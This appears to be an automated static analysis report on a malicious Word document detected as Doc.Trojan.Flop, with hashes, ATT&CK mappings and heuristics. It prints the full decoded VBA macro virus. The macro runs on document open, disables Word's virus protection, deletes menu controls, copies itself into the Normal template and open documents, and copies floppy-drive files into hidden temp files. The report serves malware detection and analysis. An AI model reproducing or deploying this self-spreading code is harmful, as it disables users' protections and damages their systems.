Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a243ad0e3ea4fb9c…

MALICIOUS

Office (OLE)

49.5 KB Created: 2001-03-21 16:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 80fbe969d675f8bfc4e5ec9900261aa4 SHA-1: a38fc902f7ddbcad37a037d51c600200f97ac28a SHA-256: a243ad0e3ea4fb9c47d1990cf0627bf24a36ee7f0472a5a88aa48515930c3316
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code automatically when the document is opened. The macros attempt to disable security features and potentially download or execute further payloads. The ClamAV detections indicate known malicious behavior associated with this file.

Heuristics 3

  • ClamAV: Doc.Trojan.Flop-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Flop-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9598 bytes
SHA-256: f6c002019f01ca5615615ac83ac756c72e737bd861ec64511ec577cafe030718
Detection
ClamAV: Doc.Trojan.Flop-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'VBACopyFloppy
Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetTempFileName Lib "kernel32.dll" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long

Private Sub Document_Open()
Dim i As Long, s1 As String * 256, s2 As String
On Error Resume Next
Application.EnableCancelKey = 0
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
CommandBars.FindControl(, 30017).Delete
For i = 1 To CommandBars(29).Controls.Count: CommandBars(29).Controls(1).Delete: Next
For i = 1 To CommandBars(9).Controls.Count: CommandBars(9).Controls(1).Delete: Next
For i = 1 To CommandBars(6).Controls.Count: CommandBars(6).Controls(1).Delete: Next
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, 1) Then
    NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
    NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents(1).CodeModule.CountOfLines)
    NormalTemplate.Save
ElseIf ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, 1) Then
    With ActiveDocument
        .VBProject.VBComponents(1).CodeModule.DeleteLines 1, .VBProject.VBComponents(1).CodeModule.CountOfLines
        .VBProject.VBComponents(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents(1).CodeModule.CountOfLines)
        If Dir(.FullName) <> "" Then .SaveAs .FullName, wdWordDocument
        .Saved = True
    End With
End If
If GetDriveType(Mid(ActiveDocument.FullName, 1, 2)) = 2 Then
    s2 = s1
    GetTempPath 256, s1
    With Application.FileSearch
        .FileName = "*.*"
        .LookIn = Mid(ActiveDocument.FullName, 1, 3)
        .SearchSubFolders = True
        .Execute
        For i = 1 To .FoundFiles.Count: GetTempFileName s1, "~~", 0, s2: CopyFile .FoundFiles(i), s2, 0: SetAttr s2, 7: Next
    End With
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/0c6f7ac8a3764861b6994d2a11f897e3.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 9748 bytes
' Line #0:
' 	QuoteRem 0x0000 0x000D "VBACopyFloppy"
' Line #1:
' 	Option  (Explicit)
' Line #2:
' 	FuncDefn (Private Declare Function GetDriveType Lib "kernel32" (ByVal nDrive As String) As Long)
' Line #3:
' 	FuncDefn (Private Declare Function GetTempPath Lib "kernel32" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long)
' Line #4:
' 	FuncDefn (Private Declare Function CopyFile Lib "kernel32" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long)
' Line #5:
' 	FuncDefn (Private Declare Function GetTempFileName Lib "kernel32.dll" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long)
' Line #6:
' Line #7:
' 	FuncDefn (Private Sub Document_Open())
' Line #8:
' 	Dim 
' 	VarDefn i (As Long)
' 	LitDI2 0x0100 
' 	VarDefn s1
' 	VarDefn s2 (As String)
' Line #9:
' 	OnEr
... (truncated)